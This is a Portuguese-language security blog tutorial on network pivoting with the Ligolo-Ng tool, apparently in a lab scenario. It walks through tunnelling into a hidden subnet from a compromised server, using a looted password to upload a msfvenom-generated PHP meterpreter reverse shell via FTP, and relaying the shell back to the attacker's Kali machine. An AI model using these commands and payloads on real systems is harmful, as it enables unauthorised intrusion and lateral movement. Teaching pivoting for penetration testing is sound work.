Network Pivoting com Ligolo-Ng

Pivoting é uma técnica de Port Forward usada para acessar uma rede a partir de um servidor comprometido. Depois de explorar uma determinada máquina, obter acesso e realizar a escalação de privilégio, é comum buscar por meios de fazer movimentação lateral na rede. Muitas vezes, o servidor comprometido possui duas placas de rede, e essa outra rede não é acessível diretamente pelo atacante. 

Neste cenário, o Pivoting estabelece um túnel entre o Kali e a rede oculta, usando o servidor comprometido como uma "ponte". 

Aqui no blog tenho um artigo mostrando como fazer Pivoting usando o Chisel e o Proxychains, e hoje vou mostrar como executar essa técnica com a ferramenta Ligolo-Ng. 

Cenário

Atacante com máquina Kali consegue explorar um servidor Linux (Servidor 1) e obtém acesso. Em seguida, realiza a escalação de privilégio e obtém acesso "root". O servidor possui duas placas de rede e o atacante executa um "ping sweep" para a rede oculta com o comando: 

for i in $(seq 1 254); do ping -c 2 10.10.150.$i; done

Logo identifica o host 10.10.150.10. A partir desse ponto, a etapa seguinte é executar o Pivoting para explorar a nova máquina descoberta. 

A imagem abaixo ilustra as redes, a conexão entre os servidores e o pivoting que encaminha a conexão na porta 2323 para o listening do meterpreter porta 4444, criando uma conexão reversa com o Kali.  



Ligolo-Ng

É uma ferramenta que tem a capacidade de estabelecer um túnel entre a máquina do atacante (Kali) com uma rede e/ou sub-rede oculta por meio de uma conexão TCP/TLS reversa, habilitando uma interface tun na máquina Kali. Essa característica permite que a ferramenta se conecte diretamente a outra sub-rede sem depender de SOCKS, eliminando a necessidade de proxychains. 

Proxy

É adicionado na máquina Kali, e é o ponto central para receber a conexão da rede oculta. Uma vez estabelecida a conexão, o atacante consegue se comunicar diretamente com hosts e a sub-rede oculta. 

Agent 

É adicionado no servidor comprometido (Servidor 1) e estabelece o túnel entre a rede oculta e a máquina Kali. 

O download do Proxy e Agent pode ser feito no Github

Preparando o ambiente

Inicie a interface tun na máquina Kali com os comandos: 

ip tuntap add user [nome-de-usuário] mode tun ligolo

ip link set ligolo up

Faça a transferência do Agent para o Servidor 1 usando o Python e cURL:

Kali: python3 -m http.server [porta]

Servidor 1: curl -o agent http://[kali-ip]:[porta]/agent

Inicie o Proxy no Kali: 

./proxy --selfcert


No Servidor 1, inicie o Agent: 

./agent -ignore-cert -connect [Kali-IP]:11601


A conexão é estabelecida com o Kali.


Listar/Selecionar sessão/conexão: session


Ver as interfaces conectadas ao Servidor 1: ipconfig


Iniciando a conexão 

Finalmente, para iniciar o túnel, use o comando: start


Até este ponto, o Kali ainda não consegue se comunicar com a rede oculta. É necessário adicionar uma rota para concluir a conexão. 

ip route add [Rede-oculta]/24 dev ligolo


Para testar, execute ICMP para um host da sub-rede. Esse host foi anteriormente descoberto durante a exploração do Servidor 1. 


Enumeração do host da rede oculta

Depois que o túnel é criado, começa a enumeração dos hosts nesta rede. Ferramentas como NMAP e FFUF são executadas para descobrir portas e diretórios, e iniciar a estratégia de exploração. 

Importante buscar por portas fora do padrão, como no exemplo abaixo, o serviço FTP está configurado na porta 60021. 


Com a senha descoberta no diretório "root" do Servidor 1, é possível acessar o FTP. Esse é outro ponto importante: quando é feita a escalação de privilégio em um servidor, é fundamental realizar uma enumeração interna buscando por arquivos, variáveis de ambiente, senhas em memória. A execução de um brute-force no host oculto pode ser feito mas requer tempo e...sorte! 

Ao acessar o FTP, testamos se é possível adicionar um arquivo no diretório, e quando possível, essa simples permissão resulta em uma shell reversa. 

Teste de upload no FTP: put teste-ftp.txt


O diretório onde a shell será armazenada precisa ter permissão de acesso. No exemplo, o diretório /var/www/html hospeda uma página web e permite o upload. Ao adicionar uma página de teste e modificar as permissões, consigo acessar normalmente, abrindo aqui uma brecha para execução da conexão reversa. 



Pivoting para conexão reversa 

Neste cenário, a shell-reversa não funciona diretamente, é necessário adicionar um listener no proxy do Kali. A estrutura para executar a comunicação reversa do servidor oculto com o Kali é a seguinte: 

Listener no proxy (Kali)

listener_add --addr 0.0.0.0:2323 --to 127.0.0.1:4444 --tcp

O Servidor 1 onde o Agent está habilitado fica ouvindo na porta 2323, e o Kali fica ouvindo na porta 4444 com o meterpreter (exploit/multi/handler).


Gerar o payload da shell

msfvenom -p php/meterpreter_reverse_tcp LHOST=[Kali] LPORT=4444 -f raw > rshell.php

Vale ressaltar que o payload usado para gerar a shell é o mesmo configurado no listener do meterpreter: php/meterpreter_reverse_tcp. Isso é importante pois se os payloads forem diferentes, a conexão não é realizada. 

O arquivo rshell.php é adicionado no FTP do servidor oculto 10.10.150.10, e quando acessado pelo navegador, a conexão é estabelecida. 


Dentro do host 10.10.150.10, iniciamos novamente a etapa de enumeração, coleta de credenciais e escalação de privilégio. 

#HackingBR

Comentários

Postagens mais visitadas